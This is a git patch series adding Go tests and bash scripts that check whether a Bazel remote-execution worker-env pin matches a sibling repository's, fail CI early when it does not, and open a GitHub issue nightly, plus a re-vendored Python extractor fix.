b/scripts/bazel_farm_workflow_test.go index 2b6fb8e6f..36a40b5b0 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -255,18 +255,24 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { if bazelPackageJobs[name] { want["fetch-depth"] = "0" } + // rbe's worker-env preflight reads two paths of the same ref. + if name == bazelRBEJobName { + want["sparse-checkout"] = bazelRBESparseCheckout + } if !reflect.DeepEqual(step.With, want) { t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) } } } - // Every lane checks out the PR except rbe (decides the mode before any - // checkout) and rbe-prewarm (no checkout at all, by design: B1, security - // review of bdef342d5 - its dispatch logic is inlined into the job's own - // `run:` instead of a checked-out script file, so no step in this job - // ever reads repository content under the shared gascity credential). - if checkouts != len(workflow.Jobs)-2 { - t.Errorf("%d checkouts in %s, want one per lane excluding %s and %s (%d)", checkouts, bazelWorkflowName, bazelRBEJobName, bazelRBEPrewarmJobName, len(workflow.Jobs)-2) + // Every job checks out the PR once except rbe-prewarm (no checkout at + // all, by design: B1, security review of bdef342d5 - its dispatch logic + // is inlined into the job's own `run:` instead of a checked-out script + // file, so no step in this job ever reads repository content under the + // shared gascity credential). rbe's checkout (sparse) comes after its + // decide step, for the worker-env preflight + // (TestBazelRBEWorkerEnvPreflight). + if checkouts != len(workflow.Jobs)-1 { + t.Errorf("%d checkouts in %s, want one per job excluding %s (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, len(workflow.Jobs)-1) } if got := workflow.job(t, bazelRBEJobName).Steps[0].Env["FORK_FARM"]; got != bazelForkFarmValue { t.Errorf("rbe FORK_FARM = %q, want %q", got, bazelForkFarmValue) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index bf8d8d6b9..4878ba465 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -4736,8 +4736,10 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { // so a run cannot mix modes and no lane can drift from the others (review D1 // F1/F5/F6): Dependabot PRs are same-repo but get no secrets, so a condition // on vars and fork alone sent them to the remote-only path with nothing to -// run it. The job's one step reads nothing but booleans, runs no -// repository code, and its outputs are the workflow_call outputs. +// run it. The job's decide step (its first) reads nothing but booleans, runs +// no repository code, and its outputs are the job's and the workflow_call +// outputs; the steps after it are the worker-env preflight +// (TestBazelRBEWorkerEnvPreflight), which set no output. func TestBazelRBEJobDecidesOnce(t *testing.T) { workflow := readCIWorkflow(t, bazelWorkflowName) job := workflow.job(t, bazelRBEJobName) @@ -4757,8 +4759,8 @@ func TestBazelRBEJobDecidesOnce(t *testing.T) { if !reflect.DeepEqual(job.Outputs, wantOutputs) { t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) } - if len(job.Steps) != 1 { - t.Fatalf("%s has %d steps, want exactly the decision step", bazelRBEJobName, len(job.Steps)) + if len(job.Steps) != 3 { + t.Fatalf("%s has %d steps, want the decision step and the worker-env preflight's checkout and check", bazelRBEJobName, len(job.Steps)) } step := job.Steps[0] wantEnv := map[string]string{ diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index ff6f4c2f3..a9d849f24 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -4,13 +4,17 @@ import ( "crypto/sha256" "encoding/hex" "errors" + "fmt" "os" "os/exec" "path/filepath" + "reflect" "regexp" "slices" "strings" "testing" + + "gopkg.in/yaml.v3" ) // Test actions exec host tools and load the shared libraries of every cgo @@ -33,6 +37,12 @@ const ( rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" rbeWorkerEnvSync = "tools/rbe/worker-env-sync" + rbeWorkerEnvSyncIssue = "tools/rbe/worker-env-sync-issue" + // bazel.yml's rbe job checks out only what worker-env-sync compares. + bazelRBESparseCheckout = "tools/rbe\nplatforms\n" + rbeWorkerEnvEnabledIf = "${{ steps.decide.outputs.enabled == 'true' }}" + nightlyWorkerEnvJob = "rbe-worker-env-sync" + nightlyWorkerEnvReport = "${{ runner.temp }}/worker-env-sync.md" ) var ( @@ -205,86 +215,327 @@ func TestRBEWorkerEnvManifestGuards(t *testing.T) { } } -// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local -// gascity (file:// URLs): quiet success when the manifest and pin match -// gascity's at REF, and otherwise exit 1 with the diff and the pin to commit -// in the output and step summary, for a manifest or a pin that differs. -func TestRBEWorkerEnvSync(t *testing.T) { +// rbeWorkerEnvFixture is a local gascity (served to worker-env-sync through +// file:// URLs, WORKER_ENV_SYNC_URL) whose main pins manifest at pin, and a +// way to lay out a beads checkout with the given manifest and pin plus the +// real tools/rbe scripts, as the workflows run them. +type rbeWorkerEnvFixture struct { + gascity, manifest, pin string +} + +func rbeTestPin(manifest string) string { + sum := sha256.Sum256([]byte(manifest)) + return "sha256:" + hex.EncodeToString(sum[:]) +} + +func rbeTestPlatformBuild(pin string) string { + return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" +} + +func rbeTestWrite(t *testing.T, path, body string, mode os.FileMode) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), mode); err != nil { + t.Fatal(err) + } +} + +func newRBEWorkerEnvFixture(t *testing.T) rbeWorkerEnvFixture { + t.Helper() requireHostTool(t, "curl") requireHostTool(t, "bash") - script := filepath.Join(bazelPolicyRoot(t), rbeWorkerEnvSync) - manifest := "arch x86_64\npkg git 2\n" - sum := sha256.Sum256([]byte(manifest)) - pin := "sha256:" + hex.EncodeToString(sum[:]) - build := func(pin string) string { - return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" - } - write := func(path, body string) { - t.Helper() - if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(path, []byte(body), 0o644); err != nil { - t.Fatal(err) - } - } - gascity := t.TempDir() - write(filepath.Join(gascity, "main", "tools/rbe/worker-env.txt"), manifest) - write(filepath.Join(gascity, "main", "platforms/BUILD.bazel"), build(pin)) + f := rbeWorkerEnvFixture{gascity: t.TempDir(), manifest: "arch x86_64\npkg git 2\n"} + f.pin = rbeTestPin(f.manifest) + rbeTestWrite(t, filepath.Join(f.gascity, "main", rbeWorkerEnvManifest), f.manifest, 0o644) + rbeTestWrite(t, filepath.Join(f.gascity, "main", rbeWorkerPlatformBuild), rbeTestPlatformBuild(f.pin), 0o644) + return f +} - run := func(ourManifest, ourPin string) (string, string, error) { +// beads lays out a beads checkout pinning manifest at pin, with the real +// worker-env-sync scripts, and returns its root. +func (f rbeWorkerEnvFixture) beads(t *testing.T, manifest, pin string) string { + t.Helper() + root := bazelPolicyRoot(t) + dir := t.TempDir() + rbeTestWrite(t, filepath.Join(dir, rbeWorkerEnvManifest), manifest, 0o644) + rbeTestWrite(t, filepath.Join(dir, rbeWorkerPlatformBuild), rbeTestPlatformBuild(pin), 0o644) + for _, script := range []string{rbeWorkerEnvSync, rbeWorkerEnvSyncIssue} { + rbeTestWrite(t, filepath.Join(dir, script), readPolicyFile(t, root, script), 0o755) + } + return dir +} + +// run runs a workflow step's script (bash -e, as GitHub does) in dir with +// gascity served from the fixture plus env, and returns its exit code and +// output. +func (f rbeWorkerEnvFixture) run(t *testing.T, dir, script string, env ...string) (int, string) { + t.Helper() + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Dir = dir + cmd.Env = append(os.Environ(), append([]string{"WORKER_ENV_SYNC_URL=file://" + f.gascity}, env...)...) + out, err := cmd.CombinedOutput() + var exitErr *exec.ExitError + switch { + case err == nil: + return 0, string(out) + case errors.As(err, &exitErr): + return exitErr.ExitCode(), string(out) + default: + t.Fatalf("run step: %v\n%s", err, out) + return -1, "" + } +} + +const rbeTestStaleManifest = "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" + +// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local +// gascity: quiet success when the manifest and pin match gascity's at REF; +// exit 1 with the diff and the pin to commit in the output, step summary and +// WORKER_ENV_SYNC_REPORT for a manifest or a pin that differs; and exit 2 +// ("unknown", a warning) when gascity cannot be read, never "in step". +func TestRBEWorkerEnvSync(t *testing.T) { + f := newRBEWorkerEnvFixture(t) + run := func(ourManifest, ourPin string) (int, string, string, string) { t.Helper() - beads := t.TempDir() - write(filepath.Join(beads, rbeWorkerEnvManifest), ourManifest) - write(filepath.Join(beads, rbeWorkerPlatformBuild), build(ourPin)) + beads := f.beads(t, ourManifest, ourPin) summary := filepath.Join(beads, "summary.md") - cmd := exec.Command("bash", script) - cmd.Dir = beads - cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity, "GITHUB_STEP_SUMMARY="+summary) - out, err := cmd.CombinedOutput() - b, _ := os.ReadFile(summary) - return string(out), string(b), err + report := filepath.Join(beads, "report.md") + code, out := f.run(t, beads, "tools/rbe/worker-env-sync\n", "GITHUB_STEP_SUMMARY="+summary, "WORKER_ENV_SYNC_REPORT="+report) + s, _ := os.ReadFile(summary) + r, _ := os.ReadFile(report) + return code, out, string(s), string(r) } - out, summary, err := run(manifest, pin) - if err != nil || !strings.Contains(out, "worker-env: in step with gascity main ("+pin+")") || summary != "" { - t.Fatalf("in step: %v\n%s\nsummary:\n%s", err, out, summary) + code, out, summary, report := run(f.manifest, f.pin) + if code != 0 || !strings.Contains(out, "worker-env: in step with gascity main ("+f.pin+")") || summary != "" || report != "" { + t.Fatalf("in step: exit %d\n%s\nsummary:\n%s\nreport:\n%s", code, out, summary, report) } - stale := "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" - staleSum := sha256.Sum256([]byte(stale)) - stalePin := "sha256:" + hex.EncodeToString(staleSum[:]) + stalePin := rbeTestPin(rbeTestStaleManifest) for name, c := range map[string][2]string{ - "manifest and pin": {stale, stalePin}, - "pin only": {manifest, stalePin}, - "manifest only": {stale, pin}, + "manifest and pin": {rbeTestStaleManifest, stalePin}, + "pin only": {f.manifest, stalePin}, + "manifest only": {rbeTestStaleManifest, f.pin}, } { - out, summary, err := run(c[0], c[1]) - if err == nil { - t.Errorf("%s out of step: succeeded\n%s", name, out) + code, out, summary, report := run(c[0], c[1]) + if code != 1 { + t.Errorf("%s out of step: exit %d, want 1\n%s", name, code, out) continue } for _, want := range []string{ - "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + pin, - " \"worker-env\": \"" + pin + "\",\n", + "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + f.pin, + "beads' worker-env pin is out of step with gascity main", + " \"worker-env\": \"" + f.pin + "\",\n", } { if !strings.Contains(out, want) { t.Errorf("%s: output lacks %q:\n%s", name, want, out) } } - if !strings.Contains(summary, "### rbe worker-env out of step with gascity") { - t.Errorf("%s: no step summary:\n%s", name, summary) + for what, md := range map[string]string{"step summary": summary, "report": report} { + if !strings.Contains(md, "### rbe worker-env out of step with gascity") || !strings.Contains(md, "\"worker-env\": \""+f.pin+"\"") { + t.Errorf("%s: no %s:\n%s", name, what, md) + } } - if c[0] != manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { + if c[0] != f.manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { t.Errorf("%s: no manifest diff:\n%s", name, out) } } - // gascity unreachable (a REF that does not exist): an error, never "in step". - cmd := exec.Command("bash", script, "no-such-ref") - cmd.Dir = t.TempDir() - cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity) - if out, err := cmd.CombinedOutput(); err == nil { - t.Errorf("worker-env-sync of a missing ref succeeded:\n%s", out) + // gascity unreachable (a REF that does not exist, or no gascity at all): + // exit 2 with a warning, never "in step" and never "out of step". + beads := f.beads(t, f.manifest, f.pin) + for name, env := range map[string][]string{ + "missing ref": {"REF=no-such-ref"}, + "unreachable": {"REF=main", "WORKER_ENV_SYNC_URL=file:///nonexistent-gascity"}, + } { + code, out := f.run(t, beads, `tools/rbe/worker-env-sync "$REF"`+"\n", env...) + if code != 2 || !strings.Contains(out, "::warning title=rbe worker-env unknown::") || strings.Contains(out, "in step") || strings.Contains(out, "::error") { + t.Errorf("worker-env-sync, %s: exit %d, want 2 with an unknown warning:\n%s", name, code, out) + } + } +} + +// TestBazelRBEWorkerEnvPreflight: when gascity re-pins and beads' copy falls +// behind, a remote-execution run fails in bazel.yml's rbe job (every lane +// needs it, so none starts and pr.yml's gate is red at once) with the +// actionable message, instead of every lane queueing on rbe-west until it +// times out. Only runs whose lanes execute remotely (enabled: remote, +// fork-ro, fork-rw; merge groups are remote) check; gascity unreachable +// warns and proceeds. The steps run after decide and set no output, so the +// mode the lanes read is decide's alone. +func TestBazelRBEWorkerEnvPreflight(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelRBEJobName) + if len(job.Steps) != 3 || job.Steps[0].ID != "decide" { + t.Fatalf("%s steps = %d (first %q), want decide, the checkout and the worker-env check", bazelRBEJobName, len(job.Steps), job.Steps[0].ID) + } + if !strings.Contains(job.Steps[0].Run, `case "$mode" in remote|fork-ro|fork-rw) enabled=true ;; esac`) { + t.Errorf("%s decide no longer sets enabled exactly for the remote modes; the preflight's if depends on it", bazelRBEJobName) + } + checkout, check := job.Steps[1], job.Steps[2] + if actionFamily(checkout.Uses) != "actions/checkout" || checkout.If != rbeWorkerEnvEnabledIf || checkout.With["sparse-checkout"] != bazelRBESparseCheckout { + t.Errorf("%s step 2: uses %q, if %q, sparse-checkout %q; want a checkout of %q if %s", + bazelRBEJobName, checkout.Uses, checkout.If, checkout.With["sparse-checkout"], bazelRBESparseCheckout, rbeWorkerEnvEnabledIf) + } + wantEnv := map[string]string{"MODE": "${{ steps.decide.outputs.mode }}"} + if check.If != rbeWorkerEnvEnabledIf || check.ID != "" || check.Uses != "" || check.ContinueOnError != nil || !reflect.DeepEqual(check.Env, wantEnv) || + !strings.Contains(check.Run, "tools/rbe/worker-env-sync main") { + t.Errorf("%s step 3: if %q, id %q, uses %q, continue-on-error %v, env %v; want if %s, no id, env %v, running tools/rbe/worker-env-sync main", + bazelRBEJobName, check.If, check.ID, check.Uses, check.ContinueOnError, check.Env, rbeWorkerEnvEnabledIf, wantEnv) + } + + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + for _, c := range []struct { + name, manifest, pin, url string + code int + want string + }{ + {"in step", f.manifest, f.pin, "", 0, "worker-env: in step with gascity main"}, + {"gascity re-pinned", rbeTestStaleManifest, stalePin, "", 1, + "::error title=Bazel lanes stopped before queueing::beads' worker-env pin is out of step with gascity main, so rbe-west has no worker for this run's remote actions (mode remote): copy tools/rbe/worker-env.txt and the worker-env pin in platforms/BUILD.bazel from gastownhall/gascity main"}, + {"gascity unreachable", rbeTestStaleManifest, stalePin, "file:///nonexistent-gascity", 0, + "::warning title=rbe worker-env not checked::could not compare beads' worker-env pin with gascity main (exit 2); proceeding in mode remote."}, + } { + env := []string{"MODE=remote", "GITHUB_STEP_SUMMARY=" + filepath.Join(t.TempDir(), "summary")} + if c.url != "" { + env = append(env, "WORKER_ENV_SYNC_URL="+c.url) + } + code, out := f.run(t, f.beads(t, c.manifest, c.pin), check.Run, env...) + if code != c.code || !strings.Contains(out, c.want) { + t.Errorf("rbe preflight, %s: exit %d, want %d with %q:\n%s", c.name, code, c.code, c.want, out) + } + } +} + +// TestNightlyWorkerEnvSyncOpensIssue: nightly's check, out of step, opens a +// ci/infra issue with the diff (or, with one open, updates its body and +// comments with the run), with GITHUB_TOKEN's issues: write scoped to that +// job and the token in that one step; the rest of nightly.yml reads only. +// gascity unreachable fails the job without an issue. +func TestNightlyWorkerEnvSyncOpensIssue(t *testing.T) { + nightly := readCIWorkflow(t, "nightly.yml") + var top struct { + Permissions map[string]string `yaml:"permissions"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/nightly.yml")), &top); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(top.Permissions, map[string]string{"contents": "read"}) { + t.Errorf("nightly.yml permissions = %v, want contents: read", top.Permissions) + } + for name, job := range nightly.Jobs { + want := any(nil) + if name == nightlyWorkerEnvJob { + want = map[string]any{"contents": "read", "issues": "write"} + } + if !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("nightly.yml job %s permissions = %v, want %v", name, job.Permissions, want) + } + } + job := nightly.job(t, nightlyWorkerEnvJob) + if len(job.Steps) != 3 { + t.Fatalf("nightly.yml %s has %d steps, want checkout, check, issue", nightlyWorkerEnvJob, len(job.Steps)) + } + check, issue := job.Steps[1], job.Steps[2] + if check.ID != "sync" || check.If != "" || !reflect.DeepEqual(check.Env, map[string]string{"WORKER_ENV_SYNC_REPORT": nightlyWorkerEnvReport}) { + t.Errorf("nightly check step: id %q, if %q, env %v; want id sync, no if, WORKER_ENV_SYNC_REPORT=%s", check.ID, check.If, check.Env, nightlyWorkerEnvReport) + } + wantIssueEnv := map[string]string{ + "GH_TOKEN": "${{ github.token }}", + "REPORT": nightlyWorkerEnvReport, + "RUN_URL": "${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}", + } + if issue.If != "${{ failure() && steps.sync.outputs.rc == '1' }}" || !reflect.DeepEqual(issue.Env, wantIssueEnv) || !strings.Contains(issue.Run, rbeWorkerEnvSyncIssue) { + t.Errorf("nightly issue step: if %q, env %v, run %q; want only on rc 1, env %v, running %s", issue.If, issue.Env, issue.Run, wantIssueEnv, rbeWorkerEnvSyncIssue) + } + for name, j := range nightly.Jobs { + for i, step := range j.Steps { + if (name != nightlyWorkerEnvJob || i != 2) && strings.Contains(fmt.Sprint(step.Env, step.With, step.Run), "github.token") { + t.Errorf("nightly.yml job %s step %d uses github.token; only the issue step may", name, i) + } + } + } + + // The check step's rc output: 1 out of step (the issue step runs), 2 + // unknown (it does not), 0 in step. + f := newRBEWorkerEnvFixture(t) + stalePin := rbeTestPin(rbeTestStaleManifest) + for _, c := range []struct { + name, manifest, pin, url, rc string + }{ + {"in step", f.manifest, f.pin, "", "0"}, + {"out of step", rbeTestStaleManifest, stalePin, "", "1"}, + {"gascity unreachable", f.manifest, f.pin, "file:///nonexistent-gascity", "2"}, + } { + dir := t.TempDir() + output := filepath.Join(dir, "output") + report := filepath.Join(dir, "report.md") + env := []string{"GITHUB_OUTPUT=" + output, "WORKER_ENV_SYNC_REPORT=" + report} + if c.url != "" { + env = append(env, "WORKER_ENV_SYNC_URL="+c.url) + } + code, out := f.run(t, f.beads(t, c.manifest, c.pin), check.Run, env...) + got, _ := os.ReadFile(output) + if fmt.Sprint(code) != c.rc || string(got) != "rc="+c.rc+"\n" { + t.Errorf("nightly check, %s: exit %d, output %q; want exit and rc %s\n%s", c.name, code, got, c.rc, out) + } + if r, _ := os.ReadFile(report); (c.rc == "1") != strings.Contains(string(r), "### rbe worker-env out of step with gascity") { + t.Errorf("nightly check, %s: report %q", c.name, r) + } + } + + // The issue step, against a stand-in gh that logs its calls and lists + // the open ci/infra issues it is given. + const ghStub = `#!/usr/bin/env bash +printf '%s\n' "$*" >>"$GH_LOG" +for a in "$@"; do + case "$prev" in --body-file) cp "$a" "$GH_LOG.body" ;; esac + prev=$a +done +case "$1 $2" in + "issue list") jq -r "$(for a in "$@"; do [ "$p" = --jq ] && echo "$a"; p=$a; done)" <<<"$GH_ISSUES" ;; +esac +` + requireHostTool(t, "jq") + title := "rbe worker-env out of step with gascity main" + for _, c := range []struct { + name, issues string + want []string + }{ + {"no open issue", `[{"number":7,"title":"something else"}]`, []string{ + "issue create --repo gastownhall/beads --title " + title + " --label ci/infra --body-file ", + }}, + {"open issue", `[{"number":7,"title":"something else"},{"number":42,"title":"` + title + `"}]`, []string{ + "issue edit 42 --repo gastownhall/beads --body-file ", + "issue comment 42 --repo gastownhall/beads --body Still out of step with gascity main: https://github.com/gastownhall/beads/actions/runs/9", + }}, + } { + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + rbeTestWrite(t, filepath.Join(bin, "gh"), ghStub, 0o755) + report := filepath.Join(dir, "report.md") + rbeTestWrite(t, report, "### rbe worker-env out of step with gascity\n\nthe diff\n", 0o644) + log := filepath.Join(dir, "gh.log") + code, out := f.run(t, f.beads(t, f.manifest, f.pin), issue.Run, + "PATH="+bin+string(os.PathListSeparator)+os.Getenv("PATH"), "GH_LOG="+log, "GH_ISSUES="+c.issues, + "GITHUB_REPOSITORY=gastownhall/beads", "REPORT="+report, "RUN_URL=https://github.com/gastownhall/beads/actions/runs/9") + calls, _ := os.ReadFile(log) + body, _ := os.ReadFile(log + ".body") + if code != 0 { + t.Errorf("issue step, %s: exit %d\n%s", c.name, code, out) + } + for _, want := range c.want { + if !strings.Contains(string(calls), want) { + t.Errorf("issue step, %s: gh calls lack %q:\n%s", c.name, want, calls) + } + } + if strings.Contains(string(calls), "issue create") == (c.name == "open issue") { + t.Errorf("issue step, %s: gh calls:\n%s", c.name, calls) + } + if !strings.Contains(string(body), "the diff") || !strings.Contains(string(body), "https://github.com/gastownhall/beads/actions/runs/9") { + t.Errorf("issue step, %s: body:\n%s", c.name, body) + } } } diff --git a/tools/rbe/worker-env-sync b/tools/rbe/worker-env-sync index 6152b86f9..792c560e2 100755 --- a/tools/rbe/worker-env-sync +++ b/tools/rbe/worker-env-sync @@ -11,16 +11,28 @@ # queue on a pin no worker serves. This compares the manifest and the pin # with gascity's at REF (default main) and, if either differs, prints the # diff and what to commit (stdout and $GITHUB_STEP_SUMMARY) and exits 1. +# If it cannot compare (gascity unreachable, a missing REF, any other +# failure) it warns and exits 2: callers that must not block on GitHub's +# availability (bazel.yml's rbe job) proceed on 2 and fail only on 1. # Run from the repository root. # -# Env (tests only): WORKER_ENV_SYNC_URL, gascity's raw-content base (default -# https://raw.githubusercontent.com/gastownhall/gascity). -set -euo pipefail +# Callers: bazel.yml's rbe job, before any lane of a remote-execution run +# (fails the run fast instead of letting the lanes queue), and nightly.yml's +# rbe-worker-env-sync job (opens or updates a ci/infra issue, +# tools/rbe/worker-env-sync-issue). +# +# Env: WORKER_ENV_SYNC_REPORT, a file to also write the out-of-step report +# (markdown) to. Tests only: WORKER_ENV_SYNC_URL, gascity's raw-content base +# (default https://raw.githubusercontent.com/gastownhall/gascity). +set -Eeuo pipefail ref=${1:-main} base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref tmp=$(mktemp -d) trap 'rm -rf "$tmp"' EXIT +# Anything that fails before the comparison is "unknown", never "in step" +# and never "out of step". +trap 'echo "::warning title=rbe worker-env unknown::worker-env-sync could not compare with gascity $ref ($BASH_COMMAND failed); not checked."; exit 2' ERR summary() { if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then cat >>"$GITHUB_STEP_SUMMARY"; else cat >/dev/null; fi @@ -33,8 +45,8 @@ pin_of() { echo "${pin:-none}" } -curl -fsSL --retry 3 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" -curl -fsSL --retry 3 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --connect-timeout 5 --max-time 15 --retry 2 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" ours=$(pin_of platforms/BUILD.bazel) theirs=$(pin_of "$tmp/BUILD.bazel") if cmp -s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs" ]; then @@ -42,6 +54,8 @@ if cmp -s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs exit 0 fi +# Out of step is known from here on: no failure below turns it into "unknown". +trap - ERR diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/worker-env.txt" >"$tmp/diff" || true { cat <<-EOF @@ -63,5 +77,6 @@ diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/work } >"$tmp/report.md" cat "$tmp/report.md" summary <"$tmp/report.md" -echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: copy gascity's tools/rbe/worker-env.txt and its pin (the step summary has the diff)." +if [ -n "${WORKER_ENV_SYNC_REPORT:-}" ]; then cp "$tmp/report.md" "$WORKER_ENV_SYNC_REPORT"; fi +echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: beads' worker-env pin is out of step with gascity $ref, so no rbe-west pool worker serves beads' remote actions. Copy gascity's tools/rbe/worker-env.txt byte for byte and its platforms/BUILD.bazel pin (the step summary has the diff; see tools/rbe/worker-env-sync)." exit 1 diff --git a/tools/rbe/worker-env-sync-issue b/tools/rbe/worker-env-sync-issue new file mode 100755 index 000000000..63d7e34b2 --- /dev/null +++ b/tools/rbe/worker-env-sync-issue @@ -0,0 +1,44 @@ +#!/usr/bin/env bash +# worker-env-sync-issue: open or update the "out of step" issue. +# +# tools/rbe/worker-env-sync-issue REPORT RUN_URL +# +# nightly.yml's rbe-worker-env-sync job runs this when tools/rbe/worker-env-sync +# exits 1 (beads' worker-env pin differs from gascity main's, so beads' remote +# actions queue on rbe-west). REPORT is the markdown report worker-env-sync +# wrote (WORKER_ENV_SYNC_REPORT): the diff and the pin to commit. With an open +# issue of the same title labelled ci/infra, the issue's body becomes the +# latest report and a comment links this run (so watchers hear about it every +# night until it is fixed); otherwise a new issue is opened with the label. +# Close the issue once the copy is synced. +# +# Env: GITHUB_REPOSITORY (owner/repo), GH_TOKEN (issues: write). +set -euo pipefail + +report=${1:?usage: worker-env-sync-issue REPORT RUN_URL} +run_url=${2:?usage: worker-env-sync-issue REPORT RUN_URL} +repo=${GITHUB_REPOSITORY:?GITHUB_REPOSITORY is unset} +title="rbe worker-env out of step with gascity main" +label="ci/infra" + +body=$(mktemp) +trap 'rm -f "$body"' EXIT +{ + cat "$report" + printf '\nReported by %s. Close this issue once tools/rbe/worker-env.txt and the platforms/BUILD.bazel pin match gascity main (tools/rbe/worker-env-sync passes).\n' "$run_url" +} >"$body" + +# The label may not exist yet; an existing one is left as it is. +gh label create "$label" --repo "$repo" --color d93f0b \ + --description "CI infrastructure (rbe-west, runners, cross-repo pins)" >/dev/null 2>&1 || true + +# Exact-title match among the open ci/infra issues (no search index lag). +number=$(gh issue list --repo "$repo" --state open --label "$label" --limit 100 \ + --json number,title --jq ".[] | select(.title == \"$title\") | .number" | head -n 1) +if [ -n "$number" ]; then + gh issue edit "$number" --repo "$repo" --body-file "$body" + gh issue comment "$number" --repo "$repo" --body "Still out of step with gascity main: $run_url" + echo "worker-env-sync-issue: updated #$number" +else + gh issue create --repo "$repo" --title "$title" --label "$label" --body-file "$body" +fi From dff41b4bb81e8d60416c8d6ed5f8b22c8efad501 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 01:05:38 +0000 Subject: [PATCH 157/325] fix(bazel): re-vendor signed-duration decode fix from gascity (#7374) gascity commit 9865cc045aee1391dbcc7eac99339c26e3a5ce71 fixed a production bug: negative protobuf durations in the compact exec log were decoded as unsigned, so the collector rejected roughly 22% of artifacts on remote_queue_ms. Re-vendor the extractor and its unit test byte-identical from that commit and update the sha256 pins in ci_analytics_extract_test.go accordingly. testdata/ci_analytics/ is untouched by the fix; its tree-hash pin is re-verified unchanged against gascity's tree. Co-authored-by: Claude Sonnet 5 --- scripts/ci_analytics_extract_test.go | 34 ++++---- tools/bazel/ci_analytics_extract.py | 77 +++++++++++++++-- tools/bazel/ci_analytics_extract_test.py | 103 +++++++++++++++++++++++ 3 files changed, 190 insertions(+), 24 deletions(-) diff --git a/scripts/ci_analytics_extract_test.go b/scripts/ci_analytics_extract_test.go index db5fc463b..694276db8 100644 --- a/scripts/ci_analytics_extract_test.go +++ b/scripts/ci_analytics_extract_test.go @@ -13,18 +13,18 @@ import ( // ciAnalyticsExtractScript and ciAnalyticsExtractUnitTest are a byte copy of // gascity's tools/bazel/ci_analytics_extract.py and -// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extractor, -// gascity commit 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac, the final -// squashed-to-one-commit history superseding 32d51ce26a and the original -// 9104311a8a after the S2 review found the first cut's real/*-bep.json -// fixtures leaked operator env: a token, SSH IPs, the OpenBao address, the -// hostname and home paths. The fixtures are generated under env -i and -// committed with the compact exec log decompressed (*.binpb), never a -// zstd frame, so nothing opaque reaches version control), the same way +// tools/bazel/ci_analytics_extract_test.py (ci/analytics-extract-signed-durations, +// gascity commit 9865cc045aee1391dbcc7eac99339c26e3a5ce71, a production bug +// fix on top of the final squashed-to-one-commit S2 history at +// 00161373bc7bbfcef8d6a05ac5ce70409fc7f2ac: negative protobuf durations were +// decoded as unsigned, so the collector rejected roughly 22% of artifacts on +// remote_queue_ms. The fixtures are generated under env -i and committed +// with the compact exec log decompressed (*.binpb), never a zstd frame, so +// nothing opaque reaches version control, the same way // tools/rbe/cache-zstd-probe.sh is a byte copy. gascity is canonical for // this pair; TestCIAnalyticsExtractorIsPinnedToGascity below pins both // files' sha256 so a local edit here is caught instead of silently -// drifting out of lockstep. The vendored test file's own 62 cases (run in +// drifting out of lockstep. The vendored test file's own 67 cases (run in // place by 